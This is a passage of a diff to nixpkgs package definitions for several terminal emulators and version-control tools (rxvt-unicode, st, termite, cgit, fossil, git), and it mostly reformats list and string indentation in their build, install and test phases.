+    freetype
+    libXrender
+    libptytty
+  ]
+  ++ lib.optionals perlSupport [
+    perl
+    libXext
+  ]
+  ++ lib.optional gdkPixbufSupport gdk-pixbuf;
 
   outputs = [
     "out"
@@ -133,7 +132,8 @@ stdenv.mkDerivation {
     "--enable-256-color"
     (lib.enableFeature perlSupport "perl")
     (lib.enableFeature unicode3Support "unicode3")
-  ] ++ lib.optional emojiSupport "--enable-wide-glyphs";
+  ]
+  ++ lib.optional emojiSupport "--enable-wide-glyphs";
 
   LDFLAGS = [
     "-lfontconfig"
@@ -142,18 +142,17 @@ stdenv.mkDerivation {
   ];
   CFLAGS = [ "-I${freetype.dev}/include/freetype2" ];
 
-  preConfigure =
-    ''
-      # without this the terminfo won't be compiled by tic, see man tic
-      mkdir -p $terminfo/share/terminfo
-      export TERMINFO=$terminfo/share/terminfo
-    ''
-    + lib.optionalString perlSupport ''
-      # make urxvt find its perl file lib/perl5/site_perl
-      # is added to PERL5LIB automatically
-      mkdir -p $out/$(dirname ${perl.libPrefix})
-      ln -s $out/lib/urxvt $out/${perl.libPrefix}
-    '';
+  preConfigure = ''
+    # without this the terminfo won't be compiled by tic, see man tic
+    mkdir -p $terminfo/share/terminfo
+    export TERMINFO=$terminfo/share/terminfo
+  ''
+  + lib.optionalString perlSupport ''
+    # make urxvt find its perl file lib/perl5/site_perl
+    # is added to PERL5LIB automatically
+    mkdir -p $out/$(dirname ${perl.libPrefix})
+    ln -s $out/lib/urxvt $out/${perl.libPrefix}
+  '';
 
   postInstall = ''
     mkdir -p $out/nix-support
diff --git a/pkgs/applications/terminal-emulators/st/default.nix b/pkgs/applications/terminal-emulators/st/default.nix
index 7657895061d7..b5ca2ccecfe3 100644
--- a/pkgs/applications/terminal-emulators/st/default.nix
+++ b/pkgs/applications/terminal-emulators/st/default.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libX11
     libXft
-  ] ++ extraLibs;
+  ]
+  ++ extraLibs;
 
   preInstall = ''
     export TERMINFO=$terminfo/share/terminfo
diff --git a/pkgs/applications/terminal-emulators/termite/default.nix b/pkgs/applications/terminal-emulators/termite/default.nix
index 9e03345a63a9..ec8118dd5d56 100644
--- a/pkgs/applications/terminal-emulators/termite/default.nix
+++ b/pkgs/applications/terminal-emulators/termite/default.nix
@@ -62,7 +62,8 @@ stdenv.mkDerivation rec {
       url = "https://github.com/thestinger/termite/commit/7e9a93b421b9596f8980645a46ac2ad5468dac06.patch";
       sha256 = "0vph2m5919f7w1xnc8i6z0j44clsm1chxkfg7l71nahxyfw5yh4j";
     })
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin ./remove_ldflags_macos.patch;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin ./remove_ldflags_macos.patch;
 
   makeFlags = [
     "VERSION=v${version}"
diff --git a/pkgs/applications/version-management/cgit/common.nix b/pkgs/applications/version-management/cgit/common.nix
index 03300018d135..ccd202fa3fe3 100644
--- a/pkgs/applications/version-management/cgit/common.nix
+++ b/pkgs/applications/version-management/cgit/common.nix
@@ -43,15 +43,14 @@ stdenv.mkDerivation {
 
   separateDebugInfo = true;
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      asciidoc
-    ]
-    ++ (with python3Packages; [
-      python
-      wrapPython
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+    asciidoc
+  ]
+  ++ (with python3Packages; [
+    python
+    wrapPython
+  ]);
   buildInputs = buildInputs ++ [
     openssl
     zlib
diff --git a/pkgs/applications/version-management/fossil/default.nix b/pkgs/applications/version-management/fossil/default.nix
index 60ac736f2649..01395975b149 100644
--- a/pkgs/applications/version-management/fossil/default.nix
+++ b/pkgs/applications/version-management/fossil/default.nix
@@ -34,24 +34,22 @@ stdenv.mkDerivation (finalAttrs: {
     tcl
   ];
 
-  buildInputs =
-    [
-      zlib
-      openssl
-      readline
-      which
-      ed
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv
-    ++ lib.optional (!withInternalSqlite) sqlite;
+  buildInputs = [
+    zlib
+    openssl
+    readline
+    which
+    ed
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv
+  ++ lib.optional (!withInternalSqlite) sqlite;
 
   enableParallelBuilding = true;
 
   doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
 
   configureFlags =
-    lib.optional (!withInternalSqlite) "--disable-internal-sqlite"
-    ++ lib.optional withJson "--json";
+    lib.optional (!withInternalSqlite) "--disable-internal-sqlite" ++ lib.optional withJson "--json";
 
   preBuild = ''
     export USER=nonexistent-but-specified-user
diff --git a/pkgs/applications/version-management/git/default.nix b/pkgs/applications/version-management/git/default.nix
index 4064b1a29c8f..cf525aa4c01f 100644
--- a/pkgs/applications/version-management/git/default.nix
+++ b/pkgs/applications/version-management/git/default.nix
@@ -100,156 +100,149 @@ stdenv.mkDerivation (finalAttrs: {
   enableParallelBuilding = true;
   enableParallelInstalling = true;
 
-  patches =
-    [
-      ./docbook2texi.patch
-      ./git-sh-i18n.patch
-      ./git-send-email-honor-PATH.patch
-      ./installCheck-path.patch
-    ]
-    ++ lib.optionals withSsh [
-      ./ssh-path.patch
-    ];
+  patches = [
+    ./docbook2texi.patch
+    ./git-sh-i18n.patch
+    ./git-send-email-honor-PATH.patch
+    ./installCheck-path.patch
+  ]
+  ++ lib.optionals withSsh [
+    ./ssh-path.patch
+  ];
 
-  postPatch =
-    ''
-      # Fix references to gettext introduced by ./git-sh-i18n.patch
-      substituteInPlace git-sh-i18n.sh \
-          --subst-var-by gettext ${gettext}
+  postPatch = ''
+    # Fix references to gettext introduced by ./git-sh-i18n.patch
+    substituteInPlace git-sh-i18n.sh \
+        --subst-var-by gettext ${gettext}
 
-      # ensure we are using the correct shell when executing the test scripts
-      patchShebangs t/*.sh
-    ''
-    + lib.optionalString withSsh ''
-      for x in connect.c git-gui/lib/remote_add.tcl ; do
-        substituteInPlace "$x" \
-          --subst-var-by ssh "${openssh}/bin/ssh"
-      done
-    '';
+    # ensure we are using the correct shell when executing the test scripts
+    patchShebangs t/*.sh
+  ''
+  + lib.optionalString withSsh ''
+    for x in connect.c git-gui/lib/remote_add.tcl ; do
+      substituteInPlace "$x" \
+        --subst-var-by ssh "${openssh}/bin/ssh"
+    done
+  '';
 
-  nativeBuildInputs =
-    [
-      deterministic-host-uname
-      gettext
-      perlPackages.perl
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals withManual [
-      asciidoc
-      texinfo
-      xmlto
-      docbook2x
-      docbook_xsl
-      docbook_xml_dtd_45
-      libxslt
-    ];
-  buildInputs =
-    [
-      curl
-      openssl
-      zlib-ng
-      expat
-      (if stdenv.hostPlatform.isFreeBSD then libiconvReal else libiconv)
-      bash
-    ]
-    ++ lib.optionals perlSupport [ perlPackages.perl ]
-    ++ lib.optionals guiSupport [
-      tcl
-      tk
-    ]
-    ++ lib.optionals withpcre2 [ pcre2 ]
-    ++ lib.optionals withLibsecret [
-      glib
-      libsecret
-    ];
+  nativeBuildInputs = [
+    deterministic-host-uname
+    gettext
+    perlPackages.perl
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals withManual [
+    asciidoc
+    texinfo
+    xmlto
+    docbook2x
+    docbook_xsl
+    docbook_xml_dtd_45
+    libxslt
+  ];
+  buildInputs = [
+    curl
+    openssl
+    zlib-ng
+    expat
+    (if stdenv.hostPlatform.isFreeBSD then libiconvReal else libiconv)
+    bash
+  ]
+  ++ lib.optionals perlSupport [ perlPackages.perl ]
+  ++ lib.optionals guiSupport [
+    tcl
+    tk
+  ]
+  ++ lib.optionals withpcre2 [ pcre2 ]
+  ++ lib.optionals withLibsecret [
+    glib
+    libsecret
+  ];
 
   # required to support pthread_cancel()
   NIX_LDFLAGS =
     lib.optionalString (stdenv.cc.isGNU && stdenv.hostPlatform.libc == "glibc") "-lgcc_s"
     + lib.optionalString (stdenv.hostPlatform.isFreeBSD) "-lthr";
 
-  configureFlags =
-    [
-      "ac_cv_prog_CURL_CONFIG=${lib.getDev curl}/bin/curl-config"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "ac_cv_fread_reads_directories=yes"
-      "ac_cv_snprintf_returns_bogus=no"
-      "ac_cv_iconv_omits_bom=no"
-    ];
+  configureFlags = [
+    "ac_cv_prog_CURL_CONFIG=${lib.getDev curl}/bin/curl-config"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "ac_cv_fread_reads_directories=yes"
+    "ac_cv_snprintf_returns_bogus=no"
+    "ac_cv_iconv_omits_bom=no"
+  ];
 
   preBuild = ''
     makeFlagsArray+=( perllibdir=$out/$(perl -MConfig -wle 'print substr $Config{installsitelib}, 1 + length $Config{siteprefixexp}') )
   '';
 
-  makeFlags =
-    [
-      "prefix=\${out}"
-      "ZLIB_NG=1"
-    ]
-    # Git does not allow setting a shell separately for building and run-time.
-    # Therefore lets leave it at the default /bin/sh when cross-compiling
-    ++ lib.optional (stdenv.buildPlatform == stdenv.hostPlatform) "SHELL_PATH=${stdenv.shell}"
-    ++ (if perlSupport then [ "PERL_PATH=${perlPackages.perl}/bin/perl" ] else [ "NO_PERL=1" ])
-    ++ (if pythonSupport then [ "PYTHON_PATH=${python3}/bin/python" ] else [ "NO_PYTHON=1" ])
-    ++ lib.optionals stdenv.hostPlatform.isSunOS [
-      "INSTALL=install"
-      "NO_INET_NTOP="
-      "NO_INET_PTON="
-    ]
-    ++ (if stdenv.hostPlatform.isDarwin then [ "NO_APPLE_COMMON_CRYPTO=1" ] else [ "sysconfdir=/etc" ])
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      "NO_SYS_POLL_H=1"
-      "NO_GETTEXT=YesPlease"
-    ]
-    ++ lib.optional withpcre2 "USE_LIBPCRE2=1"
-    ++ lib.optional (!nlsSupport) "NO_GETTEXT=1"
-    # git-gui refuses to start with the version of tk distributed with
-    # macOS Catalina. We can prevent git from building the .app bundle
-    # by specifying an invalid tk framework. The postInstall step will
-    # then ensure that git-gui uses tcl/tk from nixpkgs, which is an
-    # acceptable version.
-    #
-    # See https://github.com/Homebrew/homebrew-core/commit/dfa3ccf1e7d3901e371b5140b935839ba9d8b706
-    ++ lib.optional stdenv.hostPlatform.isDarwin "TKFRAMEWORK=/nonexistent";
+  makeFlags = [
+    "prefix=\${out}"
+    "ZLIB_NG=1"
+  ]
+  # Git does not allow setting a shell separately for building and run-time.
+  # Therefore lets leave it at the default /bin/sh when cross-compiling
+  ++ lib.optional (stdenv.buildPlatform == stdenv.hostPlatform) "SHELL_PATH=${stdenv.shell}"
+  ++ (if perlSupport then [ "PERL_PATH=${perlPackages.perl}/bin/perl" ] else [ "NO_PERL=1" ])
+  ++ (if pythonSupport then [ "PYTHON_PATH=${python3}/bin/python" ] else [ "NO_PYTHON=1" ])
+  ++ lib.optionals stdenv.hostPlatform.isSunOS [
+    "INSTALL=install"
+    "NO_INET_NTOP="
+    "NO_INET_PTON="
+  ]
+  ++ (if stdenv.hostPlatform.isDarwin then [ "NO_APPLE_COMMON_CRYPTO=1" ] else [ "sysconfdir=/etc" ])
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    "NO_SYS_POLL_H=1"
+    "NO_GETTEXT=YesPlease"
+  ]
+  ++ lib.optional withpcre2 "USE_LIBPCRE2=1"
+  ++ lib.optional (!nlsSupport) "NO_GETTEXT=1"
+  # git-gui refuses to start with the version of tk distributed with
+  # macOS Catalina. We can prevent git from building the .app bundle
+  # by specifying an invalid tk framework. The postInstall step will
+  # then ensure that git-gui uses tcl/tk from nixpkgs, which is an
+  # acceptable version.
+  #
+  # See https://github.com/Homebrew/homebrew-core/commit/dfa3ccf1e7d3901e371b5140b935839ba9d8b706
+  ++ lib.optional stdenv.hostPlatform.isDarwin "TKFRAMEWORK=/nonexistent";
 
   disallowedReferences = lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
     stdenv.shellPackage
   ];
 
-  postBuild =
-    ''
-      # Set up the flags array for make in the same way as for the main build
-      # phase from stdenv.
-      local flagsArray=(
-          ''${enableParallelBuilding:+-j''${NIX_BUILD_CORES}}
-          SHELL="$SHELL"
-      )
-      concatTo flagsArray makeFlags makeFlagsArray buildFlags buildFlagsArray
-      echoCmd 'build flags' "''${flagsArray[@]}"
-    ''
-    + lib.optionalString withManual ''
-      # Need to build the main Git documentation before building the
-      # contrib/subtree documentation, as the latter depends on the
-      # asciidoc.conf file created by the former.
-      make -C Documentation PERL_PATH=${lib.getExe buildPackages.perlPackages.perl} "''${flagsArray[@]}"
-    ''
-    + ''
-      make -C contrib/subtree "''${flagsArray[@]}" all ${lib.optionalString withManual "doc"}
-    ''
-    + lib.optionalString perlSupport ''
-      make -C contrib/diff-highlight "''${flagsArray[@]}"
-    ''
-    + lib.optionalString osxkeychainSupport ''
-      make -C contrib/credential/osxkeychain "''${flagsArray[@]}"
-    ''
-    + lib.optionalString withLibsecret ''
-      make -C contrib/credential/libsecret "''${flagsArray[@]}"
-    ''
-    + ''
-      unset flagsArray
-    '';
+  postBuild = ''
+    # Set up the flags array for make in the same way as for the main build
+    # phase from stdenv.
+    local flagsArray=(
+        ''${enableParallelBuilding:+-j''${NIX_BUILD_CORES}}
+        SHELL="$SHELL"
+    )
+    concatTo flagsArray makeFlags makeFlagsArray buildFlags buildFlagsArray
+    echoCmd 'build flags' "''${flagsArray[@]}"
+  ''
+  + lib.optionalString withManual ''
+    # Need to build the main Git documentation before building the
+    # contrib/subtree documentation, as the latter depends on the
+    # asciidoc.conf file created by the former.
+    make -C Documentation PERL_PATH=${lib.getExe buildPackages.perlPackages.perl} "''${flagsArray[@]}"
+  ''
+  + ''
+    make -C contrib/subtree "''${flagsArray[@]}" all ${lib.optionalString withManual "doc"}
+  ''
+  + lib.optionalString perlSupport ''
+    make -C contrib/diff-highlight "''${flagsArray[@]}"
+  ''
+  + lib.optionalString osxkeychainSupport ''
+    make -C contrib/credential/osxkeychain "''${flagsArray[@]}"
+  ''
+  + lib.optionalString withLibsecret ''
+    make -C contrib/credential/libsecret "''${flagsArray[@]}"
+  ''
+  + ''
+    unset flagsArray
+  '';
 
   ## Install
 
@@ -280,163 +273,162 @@ stdenv.mkDerivation (finalAttrs: {
       rm -f $PWD/contrib/credential/libsecret/git-credential-libsecret.o
     '';
 
-  postInstall =
-    ''
-      notSupported() {
-        unlink $1 || true
-      }
+  postInstall = ''
+    notSupported() {
+      unlink $1 || true
+    }
 
-      # Set up the flags array for make in the same way as for the main install
-      # phase from stdenv.
-      local flagsArray=(
-          ''${enableParallelInstalling:+-j''${NIX_BUILD_CORES}}
-          SHELL="$SHELL"
-      )
-      concatTo flagsArray makeFlags makeFlagsArray installFlags installFlagsArray
-      echoCmd 'install flags' "''${flagsArray[@]}"
+    # Set up the flags array for make in the same way as for the main install
+    # phase from stdenv.
+    local flagsArray=(
+        ''${enableParallelInstalling:+-j''${NIX_BUILD_CORES}}
+        SHELL="$SHELL"
+    )
+    concatTo flagsArray makeFlags makeFlagsArray installFlags installFlagsArray
+    echoCmd 'install flags' "''${flagsArray[@]}"
 
-      # Install git-subtree.
-      make -C contrib/subtree "''${flagsArray[@]}" install ${lib.optionalString withManual "install-doc"}
-      rm -rf contrib/subtree
+    # Install git-subtree.
+    make -C contrib/subtree "''${flagsArray[@]}" install ${lib.optionalString withManual "install-doc"}
+    rm -rf contrib/subtree
 
-      # Install contrib stuff.
-      mkdir -p $out/share/git
-      cp -a contrib $out/share/git/
-      mkdir -p $out/share/bash-completion/completions
-      ln -s $out/share/git/contrib/completion/git-completion.bash $out/share/bash-completion/completions/git
-      ln -s $out/share/git/contrib/completion/git-prompt.sh $out/share/bash-completion/completions/
-      # only readme, developed in another repo
-      rm -r contrib/hooks/multimail
-      mkdir -p $out/share/git-core/contrib
-      cp -a contrib/hooks/ $out/share/git-core/contrib/
-      substituteInPlace $out/share/git-core/contrib/hooks/pre-auto-gc-battery \
+    # Install contrib stuff.
+    mkdir -p $out/share/git
+    cp -a contrib $out/share/git/
+    mkdir -p $out/share/bash-completion/completions
+    ln -s $out/share/git/contrib/completion/git-completion.bash $out/share/bash-completion/completions/git
+    ln -s $out/share/git/contrib/completion/git-prompt.sh $out/share/bash-completion/completions/
+    # only readme, developed in another repo
+    rm -r contrib/hooks/multimail
+    mkdir -p $out/share/git-core/contrib
+    cp -a contrib/hooks/ $out/share/git-core/contrib/
+    substituteInPlace $out/share/git-core/contrib/hooks/pre-auto-gc-battery \
+      --replace ' grep' ' ${gnugrep}/bin/grep' \
+
+    # grep is a runtime dependency, need to patch so that it's found
+    substituteInPlace $out/libexec/git-core/git-sh-setup \
         --replace ' grep' ' ${gnugrep}/bin/grep' \
+        --replace ' egrep' ' ${gnugrep}/bin/egrep'
 
-      # grep is a runtime dependency, need to patch so that it's found
-      substituteInPlace $out/libexec/git-core/git-sh-setup \
-          --replace ' grep' ' ${gnugrep}/bin/grep' \
-          --replace ' egrep' ' ${gnugrep}/bin/egrep'
-
-      # Fix references to the perl, sed, awk and various coreutil binaries used by
-      # shell scripts that git calls (e.g. filter-branch)
-      SCRIPT="$(cat <<'EOS'
-        BEGIN{
-          @a=(
-            '${gnugrep}/bin/grep', '${gnused}/bin/sed', '${gawk}/bin/awk',
-            '${coreutils}/bin/cut', '${coreutils}/bin/basename', '${coreutils}/bin/dirname',
-            '${coreutils}/bin/wc', '${coreutils}/bin/tr'
-            ${lib.optionalString perlSupport ", '${perlPackages.perl}/bin/perl'"}
-          );
-        }
-        foreach $c (@a) {
-          $n=(split("/", $c))[-1];
-          s|(?<=[^#][^/.-])\b''${n}(?=\s)|''${c}|g
-        }
-      EOS
-      )"
-      perl -0777 -i -pe "$SCRIPT" \
-        $out/libexec/git-core/git-{sh-setup,filter-branch,merge-octopus,mergetool,quiltimport,request-pull,submodule,subtree,web--browse}
+    # Fix references to the perl, sed, awk and various coreutil binaries used by
+    # shell scripts that git calls (e.g. filter-branch)
+    SCRIPT="$(cat <<'EOS'
+      BEGIN{
+        @a=(
+          '${gnugrep}/bin/grep', '${gnused}/bin/sed', '${gawk}/bin/awk',
+          '${coreutils}/bin/cut', '${coreutils}/bin/basename', '${coreutils}/bin/dirname',
+          '${coreutils}/bin/wc', '${coreutils}/bin/tr'
+          ${lib.optionalString perlSupport ", '${perlPackages.perl}/bin/perl'"}
+        );
+      }
+      foreach $c (@a) {
+        $n=(split("/", $c))[-1];
+        s|(?<=[^#][^/.-])\b''${n}(?=\s)|''${c}|g
+      }
+    EOS
+    )"
+    perl -0777 -i -pe "$SCRIPT" \
+      $out/libexec/git-core/git-{sh-setup,filter-branch,merge-octopus,mergetool,quiltimport,request-pull,submodule,subtree,web--browse}
 
 
-      # Also put git-http-backend into $PATH, so that we can use smart
-      # HTTP(s) transports for pushing
-      ln -s $out/libexec/git-core/git-http-backend $out/bin/git-http-backend
-      ln -s $out/share/git/contrib/git-jump/git-jump $out/bin/git-jump
-    ''
-    + lib.optionalString perlSupport ''
-      # wrap perl commands
-      makeWrapper "$out/share/git/contrib/credential/netrc/git-credential-netrc.perl" $out/libexec/git-core/git-credential-netrc \
-                  --set PERL5LIB   "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
-      # ideally unneeded, but added for backwards compatibility
-      ln -s $out/libexec/git-core/git-credential-netrc $out/bin/
+    # Also put git-http-backend into $PATH, so that we can use smart
+    # HTTP(s) transports for pushing
+    ln -s $out/libexec/git-core/git-http-backend $out/bin/git-http-backend
+    ln -s $out/share/git/contrib/git-jump/git-jump $out/bin/git-jump
+  ''
+  + lib.optionalString perlSupport ''
+    # wrap perl commands
+    makeWrapper "$out/share/git/contrib/credential/netrc/git-credential-netrc.perl" $out/libexec/git-core/git-credential-netrc \
+                --set PERL5LIB   "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
+    # ideally unneeded, but added for backwards compatibility
+    ln -s $out/libexec/git-core/git-credential-netrc $out/bin/
 
-      wrapProgram $out/libexec/git-core/git-cvsimport \
-                  --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
-      wrapProgram $out/libexec/git-core/git-archimport \
-                  --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
-      wrapProgram $out/libexec/git-core/git-instaweb \
-                  --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
-      wrapProgram $out/libexec/git-core/git-cvsexportcommit \
-                  --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
+    wrapProgram $out/libexec/git-core/git-cvsimport \
+                --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
+    wrapProgram $out/libexec/git-core/git-archimport \
+                --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
+    wrapProgram $out/libexec/git-core/git-instaweb \
+                --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
+    wrapProgram $out/libexec/git-core/git-cvsexportcommit \
+                --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath perlLibs}"
 
-      # gzip (and optionally bzip2, xz, zip) are runtime dependencies for
-      # gitweb.cgi, need to patch so that it's found
-      sed -i -e "s|'compressor' => \['gzip'|'compressor' => ['${gzip}/bin/gzip'|" \
-          $out/share/gitweb/gitweb.cgi
-      # Give access to CGI.pm and friends (was removed from perl core in 5.22)
-      for p in ${lib.concatStringsSep " " gitwebPerlLibs}; do
-          sed -i -e "/use CGI /i use lib \"$p/${perlPackages.perl.libPrefix}\";" \
-              "$out/share/gitweb/gitweb.cgi"
-      done
-    ''
+    # gzip (and optionally bzip2, xz, zip) are runtime dependencies for
+    # gitweb.cgi, need to patch so that it's found
+    sed -i -e "s|'compressor' => \['gzip'|'compressor' => ['${gzip}/bin/gzip'|" \
+        $out/share/gitweb/gitweb.cgi
+    # Give access to CGI.pm and friends (was removed from perl core in 5.22)
+    for p in ${lib.concatStringsSep " " gitwebPerlLibs}; do
+        sed -i -e "/use CGI /i use lib \"$p/${perlPackages.perl.libPrefix}\";" \
+            "$out/share/gitweb/gitweb.cgi"
+    done
+  ''
 
-    + (
-      if svnSupport then
-        ''
-          # wrap git-svn
-          wrapProgram $out/libexec/git-core/git-svn \
-            --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${
-              perlPackages.makePerlPath (perlLibs ++ [ svn.out ])
-            }" \
-            --prefix PATH : "${svn.out}/bin"
-        ''
-      else
-        ''
-          # replace git-svn by notification script
-          notSupported $out/libexec/git-core/git-svn
-        ''
-    )
+  + (
+    if svnSupport then
+      ''
+        # wrap git-svn
+        wrapProgram $out/libexec/git-core/git-svn \
+          --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${
+            perlPackages.makePerlPath (perlLibs ++ [ svn.out ])
+          }" \
+          --prefix PATH : "${svn.out}/bin"
+      ''
+    else
+      ''
+        # replace git-svn by notification script
+        notSupported $out/libexec/git-core/git-svn
+      ''
+  )
 
-    + (
-      if sendEmailSupport then
-        ''
-          # wrap git-send-email
-          wrapProgram $out/libexec/git-core/git-send-email \
-                       --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath smtpPerlLibs}"
-        ''
-      else
-        ''
-          # replace git-send-email by notification script
-          notSupported $out/libexec/git-core/git-send-email
-        ''
-    )
+  + (
+    if sendEmailSupport then
+      ''
+        # wrap git-send-email
+        wrapProgram $out/libexec/git-core/git-send-email \
+                     --set GITPERLLIB "$out/${perlPackages.perl.libPrefix}:${perlPackages.makePerlPath smtpPerlLibs}"
+      ''
+    else
+      ''
+        # replace git-send-email by notification script
+        notSupported $out/libexec/git-core/git-send-email
+      ''
+  )
 
-    + lib.optionalString withManual ''
-      # Install man pages
-      make "''${flagsArray[@]}" cmd-list.made install install-html \
-        -C Documentation
-    ''
+  + lib.optionalString withManual ''
+    # Install man pages
+    make "''${flagsArray[@]}" cmd-list.made install install-html \
+      -C Documentation
+  ''
 
-    + (
-      if guiSupport then
-        ''
-          # Wrap Tcl/Tk programs
-          for prog in bin/gitk libexec/git-core/{git-gui,git-citool,git-gui--askpass}; do
-            sed -i -e "s|exec 'wish'|exec '${tk}/bin/wish'|g" \
-                   -e "s|exec wish|exec '${tk}/bin/wish'|g" \
-                   "$out/$prog"
-          done
-          ln -s $out/share/git/contrib/completion/git-completion.bash $out/share/bash-completion/completions/gitk
-        ''
-      else
-        ''
-          # Don't wrap Tcl/Tk, replace them by notification scripts
-          for prog in bin/gitk libexec/git-core/git-gui; do
-            notSupported "$out/$prog"
-          done
-        ''
-    )
-    + lib.optionalString osxkeychainSupport ''
-      # enable git-credential-osxkeychain on darwin if desired (default)
-      mkdir -p $out/etc
-      cat > $out/etc/gitconfig << EOF
-      [credential]
-        helper = osxkeychain
-      EOF
-    ''
-    + ''
-      unset flagsArray
-    '';
+  + (
+    if guiSupport then
+      ''
+        # Wrap Tcl/Tk programs
+        for prog in bin/gitk libexec/git-core/{git-gui,git-citool,git-gui--askpass}; do
+          sed -i -e "s|exec 'wish'|exec '${tk}/bin/wish'|g" \
+                 -e "s|exec wish|exec '${tk}/bin/wish'|g" \
+                 "$out/$prog"
+        done
+        ln -s $out/share/git/contrib/completion/git-completion.bash $out/share/bash-completion/completions/gitk
+      ''
+    else
+      ''
+        # Don't wrap Tcl/Tk, replace them by notification scripts
+        for prog in bin/gitk libexec/git-core/git-gui; do
+          notSupported "$out/$prog"
+        done
+      ''
+  )
+  + lib.optionalString osxkeychainSupport ''
+    # enable git-credential-osxkeychain on darwin if desired (default)
+    mkdir -p $out/etc
+    cat > $out/etc/gitconfig << EOF
+    [credential]
+      helper = osxkeychain
+    EOF
+  ''
+  + ''
+    unset flagsArray
+  '';
 
   ## InstallCheck
 
@@ -455,89 +447,88 @@ stdenv.mkDerivation (finalAttrs: {
     stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isFreeBSD
   ) sysctl;
 
-  preInstallCheck =
-    ''
-      # Some tests break with high concurrency
-      # https://github.com/NixOS/nixpkgs/pull/403237
-      if ((NIX_BUILD_CORES > 32)); then
-        NIX_BUILD_CORES=32
+  preInstallCheck = ''
+    # Some tests break with high concurrency
+    # https://github.com/NixOS/nixpkgs/pull/403237
+    if ((NIX_BUILD_CORES > 32)); then
+      NIX_BUILD_CORES=32
+    fi
+
+    installCheckFlagsArray+=(
+      GIT_PROVE_OPTS="--jobs $NIX_BUILD_CORES --failures --state=failed,save"
+      GIT_TEST_INSTALLED=$out/bin
+      ${lib.optionalString (!svnSupport) "NO_SVN_TESTS=y"}
+    )
+
+    function disable_test {
+      local test=$1 pattern=$2
+      if [ $# -eq 1 ]; then
+        mv t/{,skip-}$test.sh || true
+      else
+        sed -i t/$test.sh \
+          -e "/^\s*test_expect_.*$pattern/,/^\s*' *\$/{s/^/: #/}"
       fi
+    }
 
-      installCheckFlagsArray+=(
-        GIT_PROVE_OPTS="--jobs $NIX_BUILD_CORES --failures --state=failed,save"
-        GIT_TEST_INSTALLED=$out/bin
-        ${lib.optionalString (!svnSupport) "NO_SVN_TESTS=y"}
-      )
+    # Shared permissions are forbidden in sandbox builds:
+    substituteInPlace t/test-lib.sh \
+      --replace "test_set_prereq POSIXPERM" ""
+    # TODO: Investigate while these still fail (without POSIXPERM):
+    # Tested to fail: 2.46.0
+    disable_test t0001-init 'shared overrides system'
+    # Tested to fail: 2.46.0
+    disable_test t0001-init 'init honors global core.sharedRepository'
+    # Tested to fail: 2.46.0
+    disable_test t1301-shared-repo
+    # /build/git-2.44.0/contrib/completion/git-completion.bash: line 452: compgen: command not found
+    disable_test t9902-completion
 
-      function disable_test {
-        local test=$1 pattern=$2
-        if [ $# -eq 1 ]; then
-          mv t/{,skip-}$test.sh || true
-        else
-          sed -i t/$test.sh \
-            -e "/^\s*test_expect_.*$pattern/,/^\s*' *\$/{s/^/: #/}"
-        fi
-      }
+    # Our patched gettext never fallbacks
+    disable_test t0201-gettext-fallbacks
+  ''
+  + lib.optionalString (!sendEmailSupport) ''
+    # Disable sendmail tests
+    disable_test t9001-send-email
+  ''
+  + ''
+    # Flaky tests:
+    disable_test t0027-auto-crlf
+    disable_test t1451-fsck-buffer
+    disable_test t5319-multi-pack-index
+    disable_test t6421-merge-partial-clone
+    disable_test t7504-commit-msg-hook
 
-      # Shared permissions are forbidden in sandbox builds:
-      substituteInPlace t/test-lib.sh \
-        --replace "test_set_prereq POSIXPERM" ""
-      # TODO: Investigate while these still fail (without POSIXPERM):
-      # Tested to fail: 2.46.0
-      disable_test t0001-init 'shared overrides system'
-      # Tested to fail: 2.46.0
-      disable_test t0001-init 'init honors global core.sharedRepository'
-      # Tested to fail: 2.46.0
-      disable_test t1301-shared-repo
-      # /build/git-2.44.0/contrib/completion/git-completion.bash: line 452: compgen: command not found
-      disable_test t9902-completion
-
-      # Our patched gettext never fallbacks
-      disable_test t0201-gettext-fallbacks
-    ''
-    + lib.optionalString (!sendEmailSupport) ''
-      # Disable sendmail tests
-      disable_test t9001-send-email
-    ''
-    + ''
-      # Flaky tests:
-      disable_test t0027-auto-crlf
-      disable_test t1451-fsck-buffer
-      disable_test t5319-multi-pack-index
-      disable_test t6421-merge-partial-clone
-      disable_test t7504-commit-msg-hook
-
-      # Fails reproducibly on ZFS on Linux with formD normalization
-      disable_test t0021-conversion
-      disable_test t3910-mac-os-precompose
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
